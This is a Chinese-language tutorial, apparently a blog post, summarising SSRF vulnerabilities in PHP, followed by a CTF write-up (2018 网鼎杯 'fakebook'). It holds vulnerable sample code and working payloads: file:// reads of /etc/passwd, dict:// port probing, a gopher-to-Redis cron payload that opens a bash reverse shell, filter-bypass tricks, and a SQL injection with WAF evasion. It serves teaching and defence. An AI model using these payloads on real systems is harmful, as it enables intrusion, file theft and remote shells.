SSRF漏洞小结

0x01、SSRF简介

SSRF (server-site request forery,服务端请求伪造)是一种构造请求, 由服务端发起请求的安全漏洞。一般情况下,攻击者无法直接访问到内网资源,但如果服务器存在SSRF漏洞,攻击者就可以利用SSRF攻击访问外网无法访问的内网资源。

SSRF漏洞形成的原因是服务端提供了从其他服务器回去数据的功能,但没有对内网目标地址做过滤与限制。

0x02、漏洞危害

1、 可以对外网、内网、本地进行端口扫描, 获取一些服务的banner信息

2、 攻击运行在内网或本地的应用程序(比如溢出)

3、 对内网Web应用进行指纹识别,通过访问默认文件实现

4、 攻击内外网的Web应用

5、 使用file:///协议(或其他协议)读取本地文件

0x03、可能出现SSRF漏洞的地方

1、在线分享:通过URL地址分享网页内容

2、在线识图

3、在线翻译:百度翻译,有道翻译

4、各大网站订阅

5、图片加载与下载:通过URL地址加载或下载图片

6、图片、文章收藏功能

7、接收邮件服务器地址的邮件系统

8、调用URL的功能

9、文件处理,如ImageMagick,xml

10、请求远程服务器资源,远程URL上传,静态资源图片文件等

11、数据库内置功能,比如mongodb的copyDatabase函数

12、从URL关键字中寻找:share,url,link,src,source,target,sourceURl,imageURL,domain…

0x04、产生SSRF漏洞的函数

1、file_get_contents

该函数的作用是将整个文件读入一个字符串中

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_POST['url']))
{
$content=file_get_contents($_POST['url']);
$filename='images/'.rand().'img1.jpg';
file_put_contents($filename,$content);
echo $_POST['url'];
$img="<img src=\"".$filename."\"/>";
}
echo $img;
?>

2、fsockopen()

该函数用于打开一个网络连接或者一个Unix套接字连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
function GetFile($host,$port,$link)
{
$fp=fsockopen($host,int($port),$errno,$errstr,30);
if(!fp)
{
echo "$errstr(error number $errno)\n";
}
else
{
$out="GET $link HTTP/1.1\r\n";
$out.="Host:$host\r\n";
$out.="Connection:Close\r\n\r\n";
$out.="\r\n";
fwrite($fp,$out);
$contents="";
while(!feof($fp))
{
$contents.=fgets($fp,1024);
}
fclose($fp);
return $contents;
}
}
?>

3、curl_exec()

该函数可以执行给定的 cURL 会话。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if(isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj=curl_init();
curl_setopt($curlobj,CURLOPT_POST,0);
curl_setopt($curlobj,CURLOPT_RETURNTRANSFER,TRUE);
curl_setopt($curlobj,CURLOPT_URL,$link);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename='../images/'.rand().'.jpg';
file_put_contents($filename,$result);
$img="<img src=\"".$filename."\"/>";
echo $img;
}
?>

0x05、漏洞利用

1、本地利用

curl支持大量的协议,例如file, dict, gopher, http

本地利用姿势 :

1
2
3
4
5
6
7
8
9
# 利用file协议查看文件
curl -v 'file:///etc/passwd'

# 利用dict探测端口
curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'

# 利用gopher协议反弹shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

2、远程利用

漏洞代码ssrf.php(未做任何SSRF防御)

1
2
3
4
5
6
7
8
9
10
function curl($url){  
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);

远程利用姿势:

1
2
3
4
5
6
7
8
# 利用file协议任意文件读取
curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'

# 利用dict协议查看端口
curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'

# 利用gopher协议反弹shell
curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

漏洞代码ssrf2.php

  • 限制协议为HTTP、HTTPS
  • 设置跳转重定向为True(默认不跳转)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

此时,再使用dict协议已经不成功。

http://sec.com:8082/sec/ssrf2.php?url=dict://127.0.0.1:6379/info

0x06、SSRF绕过过滤的几种姿势

1、进制转换

有些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP ,如采用以下正则表达式:

1
2
3
4
5
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$

^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

对于这种情况,我们可以将ip地址转换成不同的进制来访问,比如127.0.0.1

1
2
3
十六进制 = 7F000001
十进制 = 2130706433
二进制 = 1111111000000000000000000000001

2、用@绕过

http://www.baidu.com@10.10.10.10http://10.10.10.10请求是相同的

该请求得到的内容都是10.10.10.10的内容,此绕过同样在URL跳转绕过中适用。

3、xip.ip

xip.io是个特别的域名,是别人搭好的网站,具体信息可以访问来查看,他会把如下的域名解析到特定的地址,这其实和dns解析绕过一个道理。

4、短网址绕过

短网址转换的网站有很多

比如将http://127.0.0.1转换成短网址

5、添加端口号

http://127.0.0.1:8080

0x07、防御措施

1、过滤返回的信息,甚至必要情况下不返回

2、限制http端口,仅可使用http https

3、检查IP是否为内网IP,进行黑名单过滤

4、禁止不需要的协议,gopher,ftp,file协议等

5、 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

0x08、实战

题目:fakebook

题目来源:2018 网鼎杯

先用扫描工具进行扫描,发现有robots.txt,访问robots.txt,发现有备份文件 user.php.bak ,然后下载,得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

审计源码后发现get()方法中存在SSRF漏洞

回到浏览器中,现在发现的页面有login.php,index.php,view.php,join.php;login.php没有可以利用的地方,用sqlmap测试后发现view.php和join.php都存在sql注入。

进入view页面后,我们开始注入:

在爆出数据库的同时,还可以从报错中看出文件的绝对路径 /var/www/html

这里data的值应该是用户信息的序列化的结果。

最后注出data为:

O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:13:"www.baidu.com";}

由于flag.php也在该目录下,然后我们需要利用no参数进行注入,在反序列化中构造file文件协议,利用服务

端请求伪造漏洞访问服务器上的flag.php文件。

构造payload:

?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' #

由于有WAF,所以不能直接用union select, 可以使用 /**/ 来绕过,反序列化字符串对应数据库data列放在第四列 ,输入payload后,bolg显示file:///var/www/html/flag.php,代表注入成功。

然后查看网页源码

最后点击链接,拿到flag

参考链接:https://www.jianshu.com/p/f15654f720ae

https://joychou.org/web/phpssrf.html

文章目录
  1. 1. 0x01、SSRF简介
  2. 2. 0x02、漏洞危害
  3. 3. 0x03、可能出现SSRF漏洞的地方
  4. 4. 0x04、产生SSRF漏洞的函数
  5. 5. 0x05、漏洞利用
  6. 6. 0x06、SSRF绕过过滤的几种姿势
  7. 7. 0x07、防御措施
  8. 8. 0x08、实战
|